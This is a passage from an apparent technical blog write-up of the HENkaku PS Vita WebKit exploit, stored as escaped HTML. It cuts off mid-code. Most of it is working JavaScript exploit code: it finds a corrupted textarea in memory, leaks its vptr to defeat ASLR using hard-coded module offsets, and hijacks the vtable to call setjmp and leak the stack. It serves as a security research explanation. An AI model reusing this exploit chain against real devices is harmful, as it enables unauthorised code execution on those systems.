&lt;p&gt;Using the corrupted &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Uint32Array&lt;/code&gt; object, find a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;textarea&lt;/code&gt; in memory:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;some_space&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;heap_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;search_start&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;heap_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;search_start&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;search_start&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x4000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textarea_cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textarea_cookie2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;textarea_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/*
	Change the rows of the Element object then scan the array of
	sprayed objects to find an object whose rows have been changed
*/&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;found_corrupted&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;corrupted_textarea&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textareas&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textareas&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;rows&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textarea_cookie2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;corrupted_textarea&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textareas&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now we have two “views” into the same &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;textarea&lt;/code&gt; object: we can modify it directly in memory using our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u32&lt;/code&gt; object, and we can call its functions from JavaScript. So the idea is to overwrite its vptr using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u32&lt;/code&gt; and then call the modified function through JavaScript.&lt;/p&gt;

&lt;h1 id=&quot;mitigation-1-aslr&quot;&gt;Mitigation 1: ASLR&lt;/h1&gt;

&lt;p&gt;Remember that Vita has ASLR, which is why the exploit is more complicated than it could’ve been. But with arbitrary RW it doesn’t even matter: we can just leak &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;textarea&lt;/code&gt;’s’ vptr and defeat ASLR completely:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;first&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;second&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;first&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;first&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xF0000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFFFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
        &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;second&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;second&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xF0000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFFFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;vtidx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textarea_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x70&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textareavptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vtidx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;textareavptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xabb65c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceLibc_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x85F504&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xfa49&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceLibKernel_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x85F464&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x9031&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;ScePsp2Compat_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x85D2E4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x22d65&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceWebFiltering_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ScePsp2Compat_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2c688c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x9e5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceLibHttp_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceWebFiltering_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x3bc4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xdc2d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceNet_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceWebKit_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x85F414&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x23ED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceNetCtl_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceLibHttp_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x18BF4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xD59&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;SceAppMgr_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;read_mov_r12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SceNetCtl_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x9AB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x49CD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Back to the actual code execution. On the Vita there’s no JIT and it’s not possible to allocate RWX memory. In fact, you can’t even mark memory pages as executable, which means we have to write the whole kernel exploit (the next stage of HENkaku) in ROP.&lt;/p&gt;

&lt;p&gt;The old exploits used something called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSoS&lt;/code&gt; which is described &lt;a href=&quot;http://acez.re/ps-vita-level-1-webkitties-3/&quot;&gt;here&lt;/a&gt;. However, in our case the browser becomes &lt;em&gt;really&lt;/em&gt; unstable after corrupting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSArray&lt;/code&gt; object, so we want to run as little JavaScript as possible.&lt;/p&gt;

&lt;p&gt;As a result, a new version of &lt;a href=&quot;https://bitbucket.org/DaveeFTW/roptool&quot;&gt;roptool&lt;/a&gt; was written by &lt;a href=&quot;https://twitter.com/DaveeFTW&quot;&gt;Davee&lt;/a&gt; which supported ASLR. The basic idea here is that some words (a word is 4 bytes) in roptool output now have relocation information assigned to them. After relocating the payload, which is just adding different bases (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SceWebKit_base&lt;/code&gt;/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SceLibc_base&lt;/code&gt;/etc) to these words, we can launch the resulting ROP chain normally.&lt;/p&gt;

&lt;h1 id=&quot;mitigation-2-stack-pivot-protection&quot;&gt;Mitigation 2: Stack-pivot protection&lt;/h1&gt;

&lt;p&gt;Since an unknown firmware version, there is now an additional mitigation implemented: sometimes the kernel will check that your thread stack pointer is in fact inside its stack. If this is not the case, the whole application gets killed.&lt;/p&gt;

&lt;p&gt;To bypass this, we need to plant our ROP chain into the thread’s real stack. To do that, we need to know its virtual address which is randomized because of ASLR.&lt;/p&gt;

&lt;p&gt;However, we have arbitrary RW! There’s a ton of ways to leak the stack pointer. For example, I used the &lt;a href=&quot;http://man7.org/linux/man-pages/man3/longjmp.3.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setjmp&lt;/code&gt;&lt;/a&gt; function. Here’s how we’ll call it:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// copy vtable&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x40&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;some_space&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;textareavptr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vtidx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;some_space&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// backup our obj&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;backup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;vtidx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// call setjmp and leak stack base&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;u32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;some_space&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x4e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SceLibc_base&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x14070&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// setjmp&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;corrupted_textarea&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;scrollLeft&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// call setjmp&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;corrupted_textarea&lt;/code&gt; is overwritten in memory with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp_buf&lt;/code&gt;, which has to include the stack pointer somewhere. Later, we restore the original contents as follows. (This is done so that JavaScript does not crash the browser when we attempt to do anything else with the corrupted &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;textarea&lt;/code&gt; object.)&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// restore our obj&lt;/span&gt;
